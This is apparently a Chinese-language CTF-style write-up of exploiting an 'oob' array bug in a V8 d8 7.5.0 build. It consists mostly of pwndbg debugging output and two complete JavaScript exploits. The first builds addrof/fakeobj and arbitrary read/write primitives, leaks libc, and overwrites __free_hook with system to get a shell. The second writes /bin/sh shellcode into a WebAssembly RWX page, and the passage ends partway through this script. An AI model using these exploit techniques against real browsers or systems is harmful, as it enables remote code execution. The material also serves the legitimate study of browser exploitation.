 RBP  0x7ffd0e7e5920 —▸ 0x7ffd0e7e5990 —▸ 0x7ffd0e7e5a10 —▸ 0x7ffd0e7e5a30 —▸ 0x7ffd0e7e5a68 ◂— ...
 RSP  0x7ffd0e7e5920 —▸ 0x7ffd0e7e5990 —▸ 0x7ffd0e7e5a10 —▸ 0x7ffd0e7e5a30 —▸ 0x7ffd0e7e5a68 ◂— ...
 RIP  0x7f5d6275e285 (v8::base::OS::DebugBreak()+5) ◂— pop    rbp
──────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────────────
 0x7f5d6275e285 <v8::base::OS::DebugBreak()+5>    pop    rbp
   0x7f5d6275e286 <v8::base::OS::DebugBreak()+6>    ret
    
   0x7f5d6184cb11                                   mov    rsi, qword ptr [rbp - 0x20]
   0x7f5d6184cb15                                   lea    rdi, [rbp - 0x50]
   0x7f5d6184cb19                                   call   v8::internal::ReadOnlyRoots::ReadOnlyRoots(v8::internal::Isolate*)@plt <v8::internal::ReadOnlyRoots::ReadOnlyRoots(v8::internal::Isolate*)@plt>
 
   0x7f5d6184cb1e                                   lea    rdi, [rbp - 0x50]
   0x7f5d6184cb22                                   call   0x7f5d6232e720 <0x7f5d6232e720>
 
   0x7f5d6184cb27                                   mov    qword ptr [rbp - 0x48], rax
   0x7f5d6184cb2b                                   mov    rax, qword ptr [rbp - 0x48]
   0x7f5d6184cb2f                                   mov    qword ptr [rbp - 8], rax
   0x7f5d6184cb33                                   lea    rdi, [rbp - 0x38]
──────────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────────────────────────────────────────────
In file: /home/user1/Downloads/v8/v8/src/base/platform/platform-posix.cc
   423   // Software breakpoint instruction is 0x0001
   424   asm volatile(".word 0x0001");
   425 #else
   426 #error Unsupported host architecture.
   427 #endif
 428 }
   429
   430
   431 class PosixMemoryMappedFile final : public OS::MemoryMappedFile {
   432  public:
   433   PosixMemoryMappedFile(FILE* file, void* memory, size_t size)
00:0000│ rbp rsp 0x7ffd0e7e5920 —▸ 0x7ffd0e7e5990 —▸ 0x7ffd0e7e5a10 —▸ 0x7ffd0e7e5a30 —▸ 0x7ffd0e7e5a68 ◂— ...
01:0008│         0x7ffd0e7e5928 —▸ 0x7f5d6184cb11 ◂— mov    rsi, qword ptr [rbp - 0x20]
02:0010│         0x7ffd0e7e5930 ◂— 0x1007ffd0e7e5958
03:0018│         0x7ffd0e7e5938 —▸ 0x7f5d602e0180 ◂— 'length_ >= 0'
04:0020│         0x7ffd0e7e5940 ◂— 0xfffffffd
05:0028│         0x7ffd0e7e5948 ◂— 0x0
06:0030│         0x7ffd0e7e5950 ◂— 0x0
07:0038│         0x7ffd0e7e5958 —▸ 0x5646da124f00 —▸ 0x7ffd0e7e6950 ◂— 0x5646da124f00
────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0   0x7f5d6275e285 v8::base::OS::DebugBreak()+5
   f 1   0x7f5d6184cb11
   f 2   0x7f5d6184c8d7
   f 3   0x7f5d620221db Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit+59
   f 4   0x7f5d621f7672 Builtins_CallRuntimeHandler+178
   f 5   0x7ffd0e7e5a40
   f 6   0x7ffd0e7e5a40
   f 7   0x7ffd0e7e5aa0
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> job 0xc8569c4dd51
0xc8569c4dd51: [JSArrayBuffer]
 - map: 0x0022cd2421b9 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x33da3794e981 <Object map = 0x22cd242209>
 - elements: 0x23d58c9c0c71 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x5646da124120
 - byte_length: 8
 - detachable
 - properties: 0x23d58c9c0c71 <FixedArray[0]> {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }
pwndbg> telescope 0xc8569c4dd51-1
00:0000│  0xc8569c4dd50 —▸ 0x22cd2421b9 ◂— 0x8000023d58c9c01
01:0008│  0xc8569c4dd58 —▸ 0x23d58c9c0c71 ◂— 0x23d58c9c08
02:0010│  0xc8569c4dd60 —▸ 0x23d58c9c0c71 ◂— 0x23d58c9c08
03:0018│  0xc8569c4dd68 ◂— 0x8
04:0020│  0xc8569c4dd70 —▸ 0x5646da124120 ◂— 0x0
05:0028│  0xc8569c4dd78 ◂— 0x2
06:0030│  0xc8569c4dd80 ◂— 0x0
07:0038│  0xc8569c4dd88 ◂— 0x0

通过调试发现backing_store指针位于偏移0x20的位置。

7.利用方式1:将free_hook改写为system

信息泄露:通过float Array的map指针泄露map的基地址,然后通过map偏移0x18的位置泄露堆地址,然后读取堆地址的内容,泄露d8的基地址。最后通过puts函数的got表泄露libc地址,从而泄露system函数和free_hook地址。
调试release版本,获取偏移的过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
pwndbg> r
Starting program: /home/user1/Downloads/v8/v8/out.gn/x64.release/d8 --allow-natives-syntax --shell pwn.js
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff661a700 (LWP 32648)]
[New Thread 0x7ffff5e19700 (LWP 32649)]
[New Thread 0x7ffff5618700 (LWP 32650)]
[+] Controlled float array: 0x28412ba0f2d1
V8 version 7.5.0 (candidate)
d8> var test = new Array([1.1, 1.2, 1.3, 1.4]);
undefined
d8> %DebugPrint(test)
0x28412ba0f5b9 <JSArray[1]>
[[1.1, 1.2, 1.3, 1.4]]
d8> %SystemBreak()
 
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
0x00005555561647a1 in v8::base::OS::DebugBreak() ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
 RAX  0x0
 RBX  0x555556320e50 —▸ 0x7fffffffdfd0 ◂— 0x555556320e50
 RCX  0x5555560e9500 (Builtins_CallRuntimeHandler) ◂— push   rbp
 RDX  0x555556320e50 —▸ 0x7fffffffdfd0 ◂— 0x555556320e50
 RDI  0x0
 RSI  0x7fffffffd928 —▸ 0x24dedd7804d1 ◂— 0x24dedd7805
 R8   0x31caf3481869 ◂— 0x24dedd780f
 R9   0x3a
 R10  0x100000000
 R11  0xfffffffffffffffb
 R12  0x5555563a82c0 ◂— 0x0
 R13  0x555556320ed0 —▸ 0x24dedd780751 ◂— 0xde000024dedd7807
 R14  0x0
 R15  0x5555563a6388 ◂— 0x1baddead0baddeaf
 RBP  0x7fffffffd8d0 —▸ 0x7fffffffd8f8 —▸ 0x7fffffffd918 —▸ 0x7fffffffd950 —▸ 0x7fffffffd978 ◂— ...
 RSP  0x7fffffffd8a8 —▸ 0x555555e1b825 ◂— mov    r14, qword ptr [rbx + 0x58]
 RIP  0x5555561647a1 (v8::base::OS::DebugBreak()+1) ◂— ret
──────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────────────────────────────────────────────
 0x5555561647a1 <v8::base::OS::DebugBreak()+1>    ret    <0x555555e1b825>
    
   0x555555e1b825                                   mov    r14, qword ptr [rbx + 0x58]
   0x555555e1b829                                   mov    rsi, qword ptr [rbx + 0x9da8]
   0x555555e1b830                                   mov    qword ptr [rbx + 0x9da8], r15
   0x555555e1b837                                   add    dword ptr [rbx + 0x9db8], -1
   0x555555e1b83e                                   cmp    qword ptr [rbx + 0x9db0], r12
   0x555555e1b845                                   je     0x555555e1b860 <0x555555e1b860>
    
   0x555555e1b860                                   mov    rdi, r15
   0x555555e1b863                                   call   0x555555b4b2d0 <0x555555b4b2d0>
 
   0x555555e1b868                                   mov    rax, r14
   0x555555e1b86b                                   pop    rbx
──────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd8a8 —▸ 0x555555e1b825 ◂— mov    r14, qword ptr [rbx + 0x58]
01:0008│     0x7fffffffd8b0 —▸ 0x555555e1b7f0 ◂— push   rbp
02:0010│     0x7fffffffd8b8 —▸ 0x5555562d0740 (v8::internal::kIntrinsicFunctions) ◂— 0x0
03:0018│     0x7fffffffd8c0 ◂— 0x0
04:0020│     0x7fffffffd8c8 —▸ 0x7fffffffd928 —▸ 0x24dedd7804d1 ◂— 0x24dedd7805
05:0028│ rbp 0x7fffffffd8d0 —▸ 0x7fffffffd8f8 —▸ 0x7fffffffd918 —▸ 0x7fffffffd950 —▸ 0x7fffffffd978 ◂— ...
06:0030│     0x7fffffffd8d8 —▸ 0x555556095f94 (Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit+52) ◂— cmp    rax, qword ptr [r13 + 0xb8]
07:0038│     0x7fffffffd8e0 ◂— 0xffffffffffffffff
 ► f 0   0x5555561647a1 v8::base::OS::DebugBreak()+1
   f 1   0x555555e1b825
   f 2   0x555556095f94 Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit+52
   f 3   0x5555560e9552 Builtins_CallRuntimeHandler+82
   f 4   0x5555560091a6 Builtins_InterpreterEntryTrampoline+678
   f 5   0x24dedd7804d1
   f 6     0x3a00000000
   f 7   0x31caf34a3529
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/4xg 0x28412ba0f5b9-1
0x28412ba0f5b8: 0x00001d4218c42f79      0x000024dedd780c71
0x28412ba0f5c8: 0x000028412ba0f5e9      0x0000000100000000
pwndbg> vmmap 0x00001d4218c42f79
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x1d4218c40000     0x1d4218c80000 rw-p    40000 0       +0x2f79
pwndbg> telescope 0x1d4218c40000 20
00:0000│  0x1d4218c40000 ◂— 0x40000
01:0008│  0x1d4218c40008 ◂— 0x4
02:0010│  0x1d4218c40010 —▸ 0x5555563a82d0 ◂— 0x0
03:0018│  0x1d4218c40018 —▸ 0x55555631a2e0 —▸ 0x5555562dbea8 —▸ 0x5555557e9cc0 (__jit_debug_register_code) ◂— ret
04:0020│  0x1d4218c40020 —▸ 0x1d4218c40000 ◂— 0x40000
05:0028│  0x1d4218c40028 ◂— 0x40000
06:0030│  0x1d4218c40030 —▸ 0x555556329ed0 ◂— 0x0
07:0038│  0x1d4218c40038 —▸ 0x1d4218c40001 ◂— 0x400000000000400
08:0040│  0x1d4218c40040 —▸ 0x555556395200 —▸ 0x5555562c6108 —▸ 0x555555b836b0 (v8::internal::PagedSpace::~PagedSpace()) ◂— push   rbp
09:0048│  0x1d4218c40048 —▸ 0x1d4218c40138 —▸ 0x24dedd780189 ◂— 0xa000024dedd7801
0a:0050│  0x1d4218c40050 ◂— 0x1d4218c80000
0b:0058│  0x1d4218c40058 ◂— 0x0
... ↓     7 skipped
13:0098│  0x1d4218c40098 ◂— 0x138
pwndbg> vmmap  0x55555631a2e0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x5555562f9000     0x5555563c7000 rw-p    ce000 0      [heap] +0x212e0
pwndbg> vmmap 0x5555562dbea8
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x5555562af000     0x5555562ef000 r--p    40000 d5b000 /home/user1/Downloads/v8/v8/out.gn/x64.release/d8 +0x2cea8
pwndbg> vmmap 0x5555562dbea8
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x5555562af000     0x5555562ef000 r--p    40000 d5b000 /home/user1/Downloads/v8/v8/out.gn/x64.release/d8 +0x2cea8
pwndbg> vmmap d8
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555554000     0x5555557e7000 r--p   293000 0      /home/user1/Downloads/v8/v8/out.gn/x64.release/d8
    0x5555557e7000     0x5555562af000 r-xp   ac8000 293000 /home/user1/Downloads/v8/v8/out.gn/x64.release/d8
    0x5555562af000     0x5555562ef000 r--p    40000 d5b000 /home/user1/Downloads/v8/v8/out.gn/x64.release/d8
    0x5555562ef000     0x5555562f9000 rw-p     a000 d9b000 /home/user1/Downloads/v8/v8/out.gn/x64.release/d8
pwndbg> p/x 0x5555562dbea8-0x555555554000
$1 = 0xd87ea8
pwndbg> got "puts"
 
GOT protection: Full RELRO | GOT functions: 228
 
[0x5555562ee3b8] puts@GLIBC_2.2.5 -> 0x7ffff7085aa0 (puts) ◂— push   r13
pwndbg> p/x 0x5555562ee3b8-0x555555554000
$2 = 0xd9a3b8
pwndbg> vmmap  0x7ffff7085aa0
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7ffff7005000     0x7ffff71ec000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so +0x80aa0
pwndbg> vmmap libc
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7ffff7005000     0x7ffff71ec000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff71ec000     0x7ffff73ec000 ---p   200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff73ec000     0x7ffff73f0000 r--p     4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
    0x7ffff73f0000     0x7ffff73f2000 rw-p     2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
pwndbg> p/x __free_hook
$3 = 0x0
pwndbg> p/x &__free_hook
$4 = 0x7ffff73f28e8
pwndbg> vmmap 0x7ffff73f28e8
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7ffff73f2000     0x7ffff73f6000 rw-p     4000 0       +0x8e8
pwndbg> p/x 0x7ffff73f28e8-0x7ffff7005000
$5 = 0x3ed8e8
pwndbg> p/x system
$6 = 0x48
pwndbg> x/i system
   0x7ffff7054550 <__libc_system>:      test   rdi,rdi
pwndbg> vmmap 0x7ffff7054550
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x7ffff7005000     0x7ffff71ec000 r-xp   1e7000 0      /lib/x86_64-linux-gnu/libc-2.27.so +0x4f550

最后执行console.log("/bin/sh"),执行结束后调用free函数,从而获取shell。
完整利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
 
function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
 
function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}
 
/// Construct addrof primitive
var obj = {"A":1};
var obj_arr = [obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map = obj_arr.oob();
var float_arr_map = float_arr.oob();
 
console.log("[+] Float array map: 0x" + ftoi(float_arr_map).toString(16));
console.log("[+] Object array map: 0x" + ftoi(obj_arr_map).toString(16));
 
function addrof(in_obj) {
    // First, put the obj whose address we want to find into index 0
    obj_arr[0] = in_obj;
 
    // Change the obj array's map to the float array's map
    obj_arr.oob(float_arr_map);
 
    // Get the address by accessing index 0
    let addr = obj_arr[0];
 
    // Set the map back
    obj_arr.oob(obj_arr_map);
 
    // Return the address as a BigInt
    return ftoi(addr);
}
 
function fakeobj(addr) {
    // First, put the address as a float into index 0 of the float array
    float_arr[0] = itof(addr);
 
    // Change the float array's map to the obj array's map
    float_arr.oob(obj_arr_map);
 
    // Get a "fake" object at that memory location and store it
    let fake = float_arr[0];
 
    // Set the map back
    float_arr.oob(float_arr_map);
 
    // Return the object
    return fake;
}
 
// This array is what we will use to write to arbitrary memory addresses
var arb_rw_arr = [float_arr_map, itof(0x0000000200000000n), 1, 0xffffffff];
 
console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));
 
function arb_read(addr) {
    // We have to use tagged pointers, so if the addr isn't tagged, we tag it
    if (addr % 2n == 0)
    addr += 1n;
 
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
    return ftoi(fake[0]);
}
 
function initial_arb_write(addr, val) {
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
    fake[0] = itof(BigInt(val));
}
 
function arb_write(addr, val) {
    let buf = new ArrayBuffer(8);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;
    initial_arb_write(backing_store_addr, addr);
    dataview.setBigUint64(0, BigInt(val), true);
}
 
var test = new Array([1.1, 1.2, 1.3, 1.4]);
 
var test_addr = addrof(test);
var map_ptr = arb_read(test_addr - 1n);
var map_sec_base = map_ptr - 0x2f79n;
var heap_ptr = arb_read(map_sec_base + 0x18n);
var PIE_leak = arb_read(heap_ptr);
var PIE_base = PIE_leak - 0xd87ea8n;
 
console.log("[+] test array: 0x" + test_addr.toString(16));
console.log("[+] test array map leak: 0x" + map_ptr.toString(16));
console.log("[+] map section base: 0x" + map_sec_base.toString(16));
console.log("[+] heap leak: 0x" + heap_ptr.toString(16));
console.log("[+] PIE leak: 0x" + PIE_leak.toString(16));
console.log("[+] PIE base: 0x" + PIE_base.toString(16));
 
puts_got = PIE_base + 0xd9a3b8n;
libc_base = arb_read(puts_got) - 0x80aa0n;
free_hook = libc_base +  0x3ed8e8n;
system = libc_base + 0x4f550n;
 
console.log("[+] Libc base: 0x" + libc_base.toString(16));
console.log("[+] __free_hook: 0x" + free_hook.toString(16));
console.log("[+] system: 0x" + system.toString(16));
 
console.log("[+] Overwriting __free_hook to &system");
arb_write(free_hook, system);
 
console.log("/bin/sh")

验证命令: ../v8/out.gn/x64.release/d8 --shell exp_free.js
成功的截屏:

 

8. 利用方式2:通过申请rwx内存页,执行shellcode

可以通过wasm代码来申请一个rwx的内存页,将shellcode写入。
获取rwx内存页地址的调试过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
pwndbg> r
Starting program: /home/user1/Downloads/v8/v8/out.gn/x64.release/d8 --allow-natives-syntax --shell pwn.js
ERROR: Could not find ELF base!
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff661a700 (LWP 10451)]
[New Thread 0x7ffff5e19700 (LWP 10452)]
[New Thread 0x7ffff5618700 (LWP 10453)]
[+] Controlled float array: 0x2480954cf2d1
V8 version 7.5.0 (candidate)
d8> var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;undefined
d8> undefined
d8> undefined
d8> %DebugPrint(wasm_instance)
0x3f294ab636d1 <Instance map = 0x2df6fb509789>
[object WebAssembly.Instance]
d8> %SystemBreak()
 
Thread 1 "d8" received signal SIGTRAP, Trace/breakpoint trap.
0x00005555561647a1 in v8::base::OS::DebugBreak() ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x555556320e50 —▸ 0x7fffffffdfd0 ◂— 0x555556320e50
 RCX  0x5555560e9500 (Builtins_CallRuntimeHandler) ◂— push   rbp
 RDX  0x555556320e50 —▸ 0x7fffffffdfd0 ◂— 0x555556320e50
 RDI  0x0
 RSI  0x7fffffffd928 —▸ 0x708362c04d1 ◂— 0x708362c05
 R8   0x3f294ab41869 ◂— 0x708362c0f
 R9   0x3a
 R10  0x100000000
 R11  0xfffffffffffffffb
 R12  0x5555563a82c0 ◂— 0x0
 R13  0x555556320ed0 —▸ 0x708362c0751 ◂— 0xb600000708362c07
 R14  0x0
 R15  0x5555563a6388 ◂— 0x1baddead0baddeaf
 RBP  0x7fffffffd8d0 —▸ 0x7fffffffd8f8 —▸ 0x7fffffffd918 —▸ 0x7fffffffd950 —▸ 0x7fffffffd978 ◂— ...
 RSP  0x7fffffffd8a8 —▸ 0x555555e1b825 ◂— mov    r14, qword ptr [rbx + 0x58]
 RIP  0x5555561647a1 (v8::base::OS::DebugBreak()+1) ◂— ret
 0x5555561647a1 <v8::base::OS::DebugBreak()+1>    ret    <0x555555e1b825>
    
   0x555555e1b825                                   mov    r14, qword ptr [rbx + 0x58]
   0x555555e1b829                                   mov    rsi, qword ptr [rbx + 0x9da8]
   0x555555e1b830                                   mov    qword ptr [rbx + 0x9da8], r15
   0x555555e1b837                                   add    dword ptr [rbx + 0x9db8], -1
   0x555555e1b83e                                   cmp    qword ptr [rbx + 0x9db0], r12
   0x555555e1b845                                   je     0x555555e1b860 <0x555555e1b860>
    
   0x555555e1b860                                   mov    rdi, r15
   0x555555e1b863                                   call   0x555555b4b2d0 <0x555555b4b2d0>
 
   0x555555e1b868                                   mov    rax, r14
   0x555555e1b86b                                   pop    rbx
──────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd8a8 —▸ 0x555555e1b825 ◂— mov    r14, qword ptr [rbx + 0x58]
01:0008│     0x7fffffffd8b0 —▸ 0x555555e1b7f0 ◂— push   rbp
02:0010│     0x7fffffffd8b8 —▸ 0x5555562d0740 (v8::internal::kIntrinsicFunctions) ◂— 0x0
03:0018│     0x7fffffffd8c0 ◂— 0x0
04:0020│     0x7fffffffd8c8 —▸ 0x7fffffffd928 —▸ 0x708362c04d1 ◂— 0x708362c05
05:0028│ rbp 0x7fffffffd8d0 —▸ 0x7fffffffd8f8 —▸ 0x7fffffffd918 —▸ 0x7fffffffd950 —▸ 0x7fffffffd978 ◂— ...
06:0030│     0x7fffffffd8d8 —▸ 0x555556095f94 (Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit+52) ◂— cmp    rax, qword ptr [r13 + 0xb8]
07:0038│     0x7fffffffd8e0 ◂— 0xffffffffffffffff
────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0   0x5555561647a1 v8::base::OS::DebugBreak()+1
   f 1   0x555555e1b825
   f 2   0x555556095f94 Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit+52
   f 3   0x5555560e9552 Builtins_CallRuntimeHandler+82
   f 4   0x5555560091a6 Builtins_InterpreterEntryTrampoline+678
   f 5    0x708362c04d1
   f 6     0x3a00000000
   f 7   0x3f294ab63e69
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> telescope 0x3f294ab636d1-1+0x88
00:0000│  0x3f294ab63758 —▸ 0x145b75cf7000 ◂— movabs r10, 0x145b75cf7260 /* 0x145b75cf7260ba49 */
01:0008│  0x3f294ab63760 —▸ 0x2480954d2181 ◂— 0x7100002df6fb5091
02:0010│  0x3f294ab63768 —▸ 0x2480954d2461 ◂— 0x7100002df6fb50ad
03:0018│  0x3f294ab63770 —▸ 0x3f294ab41869 ◂— 0x708362c0f
04:0020│  0x3f294ab63778 —▸ 0x3f294ab637f9 ◂— 0x7100002df6fb50a1
05:0028│  0x3f294ab63780 —▸ 0x708362c04d1 ◂— 0x708362c05
... ↓     2 skipped
pwndbg> vmmap 0x145b75cf7000
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x145b75cf7000     0x145b75cf8000 rwxp     1000 0       +0x0

可以看到rwx内存页的地址位于wasm_instance对象的0x88偏移的位置。
通过ArrayBuffer来对这块内存写入shellcode,完整的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
 
function ftoi(val) { // typeof(val) = float
    f64_buf[0] = val;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
 
function itof(val) { // typeof(val) = BigInt
    u64_buf[0] = Number(val & 0xffffffffn);
    u64_buf[1] = Number(val >> 32n);
    return f64_buf[0];
}
 
/// Construct addrof primitive
var obj = {"A":1};
var obj_arr = [obj];
var float_arr = [1.1, 1.2, 1.3, 1.4];
var obj_arr_map = obj_arr.oob();
var float_arr_map = float_arr.oob();
 
function addrof(in_obj) {
    // First, put the obj whose address we want to find into index 0
    obj_arr[0] = in_obj;
 
    // Change the obj array's map to the float array's map
    obj_arr.oob(float_arr_map);
 
    // Get the address by accessing index 0
    let addr = obj_arr[0];
 
    // Set the map back
    obj_arr.oob(obj_arr_map);
 
    // Return the address as a BigInt
    return ftoi(addr);
}
 
function fakeobj(addr) {
    // First, put the address as a float into index 0 of the float array
    float_arr[0] = itof(addr);
 
    // Change the float array's map to the obj array's map
    float_arr.oob(obj_arr_map);
 
    // Get a "fake" object at that memory location and store it
    let fake = float_arr[0];
 
    // Set the map back
    float_arr.oob(float_arr_map);
 
    // Return the object
    return fake;
}
// This array is what we will use to read from and write to arbitrary memory addresses
var arb_rw_arr = [float_arr_map, 1.2, 1.3, 1.4];
 
console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));
 
function arb_read(addr) {
    // We have to use tagged pointers for reading, so we tag the addr
    if (addr % 2n == 0)
    addr += 1n;
 
    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
 
    // Change the elements pointer using our crafted array to read_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
 
    // Index 0 will then return the value at read_addr
    return ftoi(fake[0]);
}
 
function initial_arb_write(addr, val) {
    // Place a fakeobj right on top of our crafted array with a float array map
    let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
 
    // Change the elements pointer using our crafted array to write_addr-0x10
    arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
 
    // Write to index 0 as a floating point value
    fake[0] = itof(BigInt(val));
}
 
console.log("[+] Creating an RWX page using WebAssembly");
 
// https://wasdk.github.io/WasmFiddle/
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
 
var rwx_page_addr = arb_read(addrof(wasm_instance)-1n+0x88n);
 
console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16));
 
function copy_shellcode(addr, shellcode) {
    let buf = new ArrayBuffer(0x100);
    let dataview = new DataView(buf);
    let buf_addr = addrof(buf);
    let backing_store_addr = buf_addr + 0x20n;
    initial_arb_write(backing_store_addr, addr);
 
    for (let i = 0; i < shellcode.length; i++) {
    dataview.setUint32(4*i, shellcode[i], true);
    }
}
 
// https://xz.aliyun.com/t/5003
var shellcode=[0x90909090,0x90909090,0xb848686a,0x6e69622f,0x732f2f2f,0xe7894850,0x1697268,0x24348101,0x1010101,0x6a56f631,0x1485e08,0x894856e6,0x6ad231e6,0x50f583b];
/*
